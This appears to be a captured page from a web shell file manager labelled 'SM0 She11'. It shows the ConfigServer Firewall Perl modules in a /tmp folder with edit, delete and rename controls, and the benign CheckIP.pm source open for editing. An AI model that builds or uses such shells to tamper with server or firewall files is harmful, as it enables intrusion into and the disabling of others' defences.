SM0 She11
Path:
/
/
tmp
/
csf
/
ConfigServer
Full Path (server): /tmp/csf/ConfigServer
Create Fil3
Upl04d Fil3
📄 AbuseIP.pm
[E]
[D]
[R]
📄 CheckIP.pm
[E]
[D]
[R]
📄 CloudFlare.pm
[E]
[D]
[R]
📄 Config.pm
[E]
[D]
[R]
📄 DisplayResellerUI.pm
[E]
[D]
[R]
📄 DisplayUI.pm
[E]
[D]
[R]
📄 GetEthDev.pm
[E]
[D]
[R]
📄 GetIPs.pm
[E]
[D]
[R]
📄 KillSSH.pm
[E]
[D]
[R]
📄 Logger.pm
[E]
[D]
[R]
📄 LookUpIP.pm
[E]
[D]
[R]
📄 Messenger.pm
[E]
[D]
[R]
📄 Ports.pm
[E]
[D]
[R]
📄 RBLCheck.pm
[E]
[D]
[R]
📄 RBLLookup.pm
[E]
[D]
[R]
📄 RegexMain.pm
[E]
[D]
[R]
📄 Sanity.pm
[E]
[D]
[R]
📄 Sendmail.pm
[E]
[D]
[R]
📄 ServerCheck.pm
[E]
[D]
[R]
📄 ServerStats.pm
[E]
[D]
[R]
📄 Service.pm
[E]
[D]
[R]
📄 Slurp.pm
[E]
[D]
[R]
📄 URLGet.pm
[E]
[D]
[R]
📄 cseUI.pm
[E]
[D]
[R]
Editing: CheckIP.pm
############################################################################### # Copyright 2006-2018, Way to the Web Limited # URL: http://www.configserver.com # Email: sales@waytotheweb.com ############################################################################### ## no critic (RequireUseWarnings, ProhibitExplicitReturnUndef, ProhibitMixedBooleanOperators, RequireBriefOpen) # start main package ConfigServer::CheckIP; use strict; use lib '/usr/local/csf/lib'; use Carp; use Net::CIDR::Lite; use Net::IP; use ConfigServer::Config; use Exporter qw(import); our $VERSION = 1.03; our @ISA = qw(Exporter); our @EXPORT_OK = qw(checkip); my $ipv4reg = ConfigServer::Config->ipv4reg; my $ipv6reg = ConfigServer::Config->ipv6reg; # end main ############################################################################### # start checkip sub checkip { my $ipin = shift; my $ret = 0; my $ipref = 0; my $ip; my $cidr; if (ref $ipin) { ($ip,$cidr) = split(/\//,${$ipin}); $ipref = 1; } else { ($ip,$cidr) = split(/\//,$ipin); } my $testip = $ip; if ($cidr ne "") { unless ($cidr =~ /^\d+$/) {return 0} } if ($ip =~ /^$ipv4reg$/) { $ret = 4; if ($cidr) { unless ($cidr >= 1 && $cidr <= 32) {return 0} } if ($ip eq "127.0.0.1") {return 0} } if ($ip =~ /^$ipv6reg$/) { $ret = 6; if ($cidr) { unless ($cidr >= 1 && $cidr <= 128) {return 0} } $ip =~ s/://g; $ip =~ s/^0*//g; if ($ip == 1) {return 0} if ($ipref) { eval { local $SIG{__DIE__} = undef; if ($cidr eq "") { my $netip = Net::IP->new($testip); my $myip = $netip->short(); if ($myip ne "") { ${$ipin} = $myip; } } else { my $cip = Net::CIDR::Lite->new; $cip->add("$testip/$cidr"); my @cip_list = $cip->list; if (scalar(@cip_list) == 1) { ${$ipin} = $cip_list[0]; } } }; } } return $ret; } # end checkip ############################################################################### 1;
Save